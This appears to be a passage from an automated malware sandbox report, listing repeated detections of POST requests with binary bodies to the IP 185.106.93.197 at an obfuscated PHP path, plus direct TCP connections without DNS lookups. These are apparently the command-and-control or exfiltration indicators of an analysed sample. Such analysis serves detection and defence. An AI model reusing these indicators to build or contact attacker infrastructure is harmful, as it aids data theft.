                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2500Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2504Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 1844Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continue
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: global trafficHTTP traffic detected: POST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 185.106.93.197Content-Length: 2512Expect: 100-continueConnection: Keep-Alive
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
                              Source: unknownTCP traffic detected without corresponding DNS query: 185.106.93.197
